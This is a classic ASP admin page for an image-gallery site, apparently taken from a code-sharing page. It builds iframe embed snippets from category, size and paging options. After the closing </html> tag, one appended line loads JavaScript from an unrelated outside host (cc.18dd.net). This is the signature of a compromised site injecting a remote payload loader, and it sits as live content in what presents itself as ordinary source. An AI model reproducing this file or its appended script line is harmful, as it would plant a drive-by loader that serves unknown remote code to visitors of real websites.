📄 code.asp
字号:
<!--#include file="conn.asp"-->
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="images/bbs.css" rel="stylesheet" type="text/css">
</head>
<body>
<table width="70%" border="0" align="center" cellpadding="0" cellspacing="0">
<input name="SystemPath" type="hidden" value="<%= "http://"&request.servervariables("server_name")&replace(lcase(request.servervariables("url")),"manage/code.asp","") %>" size="60">
<tr>
<td height="27"><div align="center"></div></td>
<td height="27"><strong>JS 代码调用管理</strong></td>
</tr>
<tr>
<td width="25%" height="26"><div align="right">所属栏目</div></td>
<td width="75%"> <select name="ImageType" id="ImageType">
<option value="all" selected>所有栏目</option>
<option value="rec">推荐图片</option>
<option value="hot">热门图片</option>
<option value="new">最新图片</option>
</select>
所属分类
<select name="ImageClass" id="select3">
<option value="all" selected>全部分类</option>
<%sql1="select classname from classname order by RootID"
set rs1=conn.execute(sql1)
do while not rs1.eof %>
<option value="<%=rs1("classname")%>"><%=rs1("classname")%></option>
<%
rs1.movenext
loop
rsclose()
ConnClose()
%>
</select></td>
</tr>
<tr>
<td height="26"><div align="right">图片显示</div></td>
<td>
<input name="ImagePage" type="text" id="ImagePage" size="11">
张, 每排
<input name="ImageCol" type="text" id="ImageCol" size="11">
位</td>
</tr>
<tr>
<td height="26"><div align="right">图片大小</div></td>
<td>宽度
<input name="ImageWidth" type="text" id="ImageWidth" size="6">
高度
<input name="ImageHeight" type="text" id="ImageHeight" size="6"> </td>
</tr>
<tr>
<td height="26"><div align="right">显示简介</div></td>
<td><select name="ImageContent" id="ImageContent">
<option value="1" selected>是</option>
<option value="0">否</option>
</select></td>
</tr>
<tr>
<td height="26"><div align="right">是否翻页</div></td>
<td><select name="ShowPage" id="ShowPage">
<option value="1">是</option>
<option value="0" selected>否</option>
</select></td>
</tr>
<tr>
<td height="26" colspan="2"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="16%"> </td>
<td width="84%"> <textarea name="code" cols="45" rows="7" id="code" onMouseOver="this.select();"></textarea>
</td>
</tr>
</table></td>
</tr>
<tr>
<td height="26"> </td>
<td> </td>
</tr>
<tr>
<td height="26"><div align="right">
<input type="submit" name="Submit" value="生成代码" onClick="makeJS();" style="width: 52px">
</div></td>
<td> </td>
</tr>
<tr>
<td height="26"> </td>
<td> </td>
</tr>
</table>
<script language="JavaScript" type="text/JavaScript">
function makeJS()
{
if(document.all.ImagePage.value=="" || document.all.ImageCol.value=="")
{alert("显示张数不能为空!");
document.all.ImagePage.focus();
return false;
}
if(document.all.ImageWidth.value=="" || document.all.ImageHeight.value=="")
{alert("图片的宽度或高度不能为空!");
document.all.ImageWidth.focus();
return false;
}
var strJS;
strJS="<!--代码开始-->\n<";
strJS+="iframe onload=\"this.height = this.document.body.offsetHeight;this.width=this.document.body.offsetWidth;\" src='";
strJS+=document.all.SystemPath.value+"JsCode.asp"
strJS+="?ShowContent="+document.all.ImageType.value;
strJS+=","+document.all.ImageClass.value;
strJS+=","+document.all.ImageWidth.value;
strJS+=","+document.all.ImageHeight.value;
strJS+=","+document.all.ImageCol.value;
strJS+=","+document.all.ImagePage.value;
strJS+=","+document.all.ImageContent.value;
strJS+=","+document.all.ShowPage.value;
strJS+="' width='100%' height='100%' frameborder='0' scrolling='no'></";
strJS+="iframe";
strJS+=">\n<!--代码结束-->";
document.all.code.value=strJS;
}
</script>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -